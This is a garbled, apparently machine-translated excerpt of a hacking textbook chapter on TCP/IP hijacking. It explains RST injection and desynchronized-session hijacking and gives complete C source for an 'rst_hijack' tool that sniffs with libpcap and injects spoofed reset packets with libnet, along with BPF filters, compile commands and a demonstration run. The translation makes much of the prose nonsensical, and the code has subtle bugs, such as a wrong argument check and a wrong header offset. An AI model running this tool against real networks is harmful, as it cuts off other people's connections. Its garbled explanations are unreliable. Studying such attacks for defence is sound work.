TCP / IP Hijacking
TCP / IP hijacking is a clever technique that uses spoofed packets to take
connection between a victim and a host machine. This technique is unusual
useful when the victim uses a password once to connect to the host
machine. A password only once can be used to authenticate once,
This means that sniff the approval is not necessary for the attacker.
You can run over TCP / IP hijacking attack, the attacker has the same
network as a victim. Sniffing the local network segment, all the details
open TCP connections can be drawn from the headers. As we have seen,
Each TCP packet contains a sequence number in the head. This sequence
number increases with each packet sent to ensure that packages are
received in the correct order. While sniffing, the attacker has access to
sequence numbers of connection to the victim
and a host machine . Then the attacker sends a
spoofed packet from the victim's IP address from the host computer
sniffed sequence number to the number of correct recognition,
The host will receive the spoofed packet with the proper
recognition of numbers and there is no reason to believe, does not become
from the victim machine.
RST Capture -----
Really Simple TCP / IP Hijacking linked to injecting authentic-looking
reset (RST) packets. If the source is false and the confirmation number
is correct, the receiving side, believes that the source actually sent the reset
package, and the connection will be reset.
Imagine a program that will run this attack on a destination IP address. At a high level,
use libpcap to sniff and inject RST packets using libnet. Such
The program does not need to look at every packet, but only on established TCP
connections to the destination IP address. Many other programs that use libpcap not
must look at all packets to libpcap provides a way to tell the kernel
send only certain packets that match a filter. This filter, called Berkeley
Packet Filter (BPF), is very similar to the program. For example, a filter rule
to filter on destination IP of 192.168.42.88 is "host 192.168.42.88 DST". As
a program, it is usually of keywords and must be compiled before it is
actually sent to the nucleus. Tcpdump program is used to filter what BPFs
prisoners, and it also allows a state to empty the filter program.
reader@hacking:~/booksrc $ sudo tcpdump -d "dst host 192.168.42.88"
(000) ldh [12]
(001) jeq #0x800 jt 2 jf 4
(002) ld [30]
(003) jeq #0xc0a82a58 jt 8 jf 9
(004) jeq #0x806 jt 6 jf 5
(005) jeq #0x8035 jt 6 jf 9
(006) ld [38]
(007) jeq #0xc0a82a58 jt 8 jf 9
(008) ret #96
(009) ret #0
reader@hacking:~/booksrc $ sudo tcpdump -ddd "dst host 192.168.42.88"
10
40 0 0 12
21 0 2 2048
32 0 0 30
21 4 5 3232246360
21 1 0 2054
21 0 3 32821
32 0 0 38
21 0 1 3232246360
6 0 0 96
6 0 0 0
reader@hacking:~
When the filter rule is translated, it can be to convey the core filter.
Connection filtering is set a little more complicated. All
relationships will set the ACK flag, so that's what we should
search. TCP flags are in the 13 byte TCP header. The flags are in the following order from left to right: URG, ACK, PSH,
RST, SYN and FIN. This means that if the ACK flag is set, 13
octet would be 00010000 in binary, which is 16 in decimal. If SYN and
ACK lit, octet 13 is 00010010 in binary, which is 18
decimal number.
In order to create a filter, which corresponds to the ACK flag is
without worrying about any of the other bits are the bitwise AND operator is used.
UNDERSTANDING 00010010 00010000 00010000 when produce with the ACK bit is
only slightly when both bits are 1. This means that a filter TCP [13] == 16 and 16
packets with the ACK flag is on, regardless of
space for the remaining flags.
This filtering rule can be written using the name value and the inverted logic, because
tcp [tcpflags] & tcp-ACK! = 0 This is easier to read, but still offers the same
result. This rule can be combined with the previous standard destination IP
and logic, the entire rule is shown below.
reader@hacking:~/booksrc $ sudo tcpdump -nl "tcp[tcpflags] & tcp-ack != 0 and dst host
192.168.42.88"
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
10:19:47.567378 IP 192.168.42.72.40238 > 192.168.42.88.22: . ack 2777534975 win 92
<nop,nop,timestamp 85838571 0>
10:19:47.770276 IP 192.168.42.72.40238 > 192.168.42.88.22: . ack 22 win 92 <nop,nop,timestamp
85838621 29399>
10:19:47.770322 IP 192.168.42.72.40238 > 192.168.42.88.22: P 0:20(20) ack 22 win 92
<nop,nop,timestamp 85838621 29399>
10:19:47.771536 IP 192.168.42.72.40238 > 192.168.42.88.22: P 20:732(712) ack 766 win 115
<nop,nop,timestamp 85838622 29399>
10:19:47.918866 IP 192.168.42.72.40238 > 192.168.42.88.22: P 732:756(24) ack 766 win 115
<nop,nop,timestamp 85838659 29402>
A similar rule is used to filter the following program packages
libpcap sniffing. When the program receives a header packet
used to spoof a RST packet. This program will be explained as shown
rst_hijack.c--------------------------
#include <libnet.h>
#include <pcap.h>
#include "hacking.h"
void caught_packet(u_char *, const struct pcap_pkthdr *, const u_char *);
int set_packet_filter(pcap_t *, struct in_addr *);
struct data_pass {
int libnet_handle;
u_char *packet;
};
int main(int argc, char *argv[]) {
struct pcap_pkthdr cap_header;
const u_char *packet, *pkt_data;
pcap_t *pcap_handle;
char errbuf[PCAP_ERRBUF_SIZE]; // Same size as LIBNET_ERRBUF_SIZE
char *device;
u_long target_ip;
int network;
struct data_pass critical_libnet_data;
if(argc < 1) {
printf("Usage: %s <target IP>\n", argv[0]);
exit(0);
}
target_ip = libnet_name_resolve(argv[1], LIBNET_RESOLVE);
if (target_ip == -1)
fatal("Invalid target address");
device = pcap_lookupdev(errbuf);
if(device == NULL)
fatal(errbuf);
pcap_handle = pcap_open_live(device, 128, 1, 0, errbuf);
if(pcap_handle == NULL)
fatal(errbuf);
critical_libnet_data.libnet_handle = libnet_open_raw_sock(IPPROTO_RAW);
if(critical_libnet_data.libnet_handle == -1)
libnet_error(LIBNET_ERR_FATAL, "can't open network interface. -- this program must run
as root.\n");
libnet_init_packet(LIBNET_IP_H + LIBNET_TCP_H, &(critical_libnet_data.packet));
if (critical_libnet_data.packet == NULL)
libnet_error(LIBNET_ERR_FATAL, "can't initialize packet memory.\n");
libnet_seed_prand();
set_packet_filter(pcap_handle, (struct in_addr *)&target_ip);
printf("Resetting all TCP connections to %s on %s\n", argv[1], device);
pcap_loop(pcap_handle, -1, caught_packet, (u_char *)&critical_libnet_data);
pcap_close(pcap_handle);
}
Most of this program must make sense for you. At first
data_pass structure is defined, which is used to transmit data via the libpcap
call requested. libnet interface used to open raw sockets and shares
memory. The descriptor file for the making of premiums and a pointer to the packet
The memory callback function is required, so that critical information is libnet
stored in a structure. Pcap_loop The final argument () is user
pointer that is passed directly to the callback function. By sending a pointer
critical_libnet_data structure, function call will have access to
All of this structure. Even length value is used pcap_open_live shooting ()
4096-128 has been reduced, because the information is necessary
Package is just in the headlines.
/* Sets a packet filter to look for established TCP connections to target_ip */
int set_packet_filter(pcap_t *pcap_hdl, struct in_addr *target_ip) {
struct bpf_program filter;
char filter_string[100];
sprintf(filter_string, "tcp[tcpflags] & tcp-ack != 0 and dst host %s", inet_ntoa(*target_ip));
printf("DEBUG: filter string is \'%s\'\n", filter_string);
if(pcap_compile(pcap_hdl, &filter, filter_string, 0, 0) == -1)
fatal("pcap_compile failed");
if(pcap_setfilter(pcap_hdl, &filter) == -1)
fatal("pcap_setfilter failed");
}
The next function compiles and sets the BPF to only accept packets from
established connections to the target IP. The sprintf() function is just a printf()
that prints to a string.
void caught_packet(u_char *user_args, const struct pcap_pkthdr *cap_header, const u_char
*packet) {
u_char *pkt_data;
struct libnet_ip_hdr *IPhdr;
struct libnet_tcp_hdr *TCPhdr;
struct data_pass *passed;
int bcount;
passed = (struct data_pass *) user_args; // Pass data using a pointer to a struct.
IPhdr = (struct libnet_ip_hdr *) (packet + LIBNET_ETH_H);
TCPhdr = (struct libnet_tcp_hdr *) (packet + LIBNET_ETH_H + LIBNET_TCP_H);
printf("resetting TCP connection from %s:%d ",
inet_ntoa(IPhdr->ip_src), htons(TCPhdr->th_sport));
printf("<---> %s:%d\n",
inet_ntoa(IPhdr->ip_dst), htons(TCPhdr->th_dport));
libnet_build_ip(LIBNET_TCP_H, // Size of the packet sans IP header
IPTOS_LOWDELAY, // IP tos
libnet_get_prand(LIBNET_PRu16), // IP ID (randomized)
0, // Frag stuff
libnet_get_prand(LIBNET_PR8), // TTL (randomized)
IPPROTO_TCP, // Transport protocol
*((u_long *)&(IPhdr->ip_dst)), // Source IP (pretend we are dst)
*((u_long *)&(IPhdr->ip_src)), // Destination IP (send back to src)
NULL, // Payload (none)
0, // Payload length
passed->packet); // Packet header memory
libnet_build_tcp(htons(TCPhdr->th_dport), // Source TCP port (pretend we are dst)
htons(TCPhdr->th_sport), // Destination TCP port (send back to src)
htonl(TCPhdr->th_ack), // Sequence number (use previous ack)
libnet_get_prand(LIBNET_PRu32), // Acknowledgement number (randomized)
TH_RST, // Control flags (RST flag set only)
libnet_get_prand(LIBNET_PRu16), // Window size (randomized)
0, // Urgent pointer
NULL, // Payload (none)
0, // Payload length
(passed->packet) + LIBNET_IP_H);// Packet header memory
if (libnet_do_checksum(passed->packet, IPPROTO_TCP, LIBNET_TCP_H) == -1)
libnet_error(LIBNET_ERR_FATAL, "can't compute checksum\n");
bcount = libnet_write_ip(passed->libnet_handle, passed->packet, LIBNET_IP_H+LIBNET_TCP_H);
if (bcount < LIBNET_IP_H + LIBNET_TCP_H)
libnet_error(LIBNET_ERR_WARNING, "Warning: Incomplete packet written.");
usleep(5000); // pause slightly
}
The callback parodies of RST packets. The first data libnet critical
recovered, and references to IP and TCP headers are set using the structures
Included with libnet. We could use our own structures network.h piracy
libnet but the facilities are already in place and to compensate the host
byte order. The RST packet uses spoofed source address that sniffed
destination and vice versa. The sequence number is used as sniffed
spoofed packet acknowledgment number because it is what is expected.
reader@hacking:~/booksrc $ gcc $(libnet-config --defines) -o rst_hijack rst_hijack.c -lnet -lpcap
reader@hacking:~/booksrc $ sudo ./rst_hijack 192.168.42.88
DEBUG: filter string is 'tcp[tcpflags] & tcp-ack != 0 and dst host 192.168.42.88'
Resetting all TCP connections to 192.168.42.88 on eth0
resetting TCP connection from 192.168.42.72:47783 <---> 192.168.42.88:22
Following Diversion
The package does not have to fake being a RST packet. This attack is
more interesting when the packet contains data parody. Home team
Counterfeit hosting package, increases the sequence number, and answers
the victim's IP. From the victim's machine does not know the false
package, the response of the host machine has an incorrect sequence number, so
the victim ignores the response packet. And when the victim's computer
ignore response packet from the host machine, the sequence number of the victim
account is disabled. Therefore, any package of the victim is sent to the machine
will have a bad serial number and causing the host machine
ignore it. In this case, both sides have legitimate connection
incorrect sequence numbers, resulting in a synchronized state. And since
The attacker sends the first packet that caused false all this chaos, you can
follow the sequence of numbers and continue to scam packages
the IP address of the victim to the host machine. This allows the attacker to continue to
with the host when the connection to the victim stops.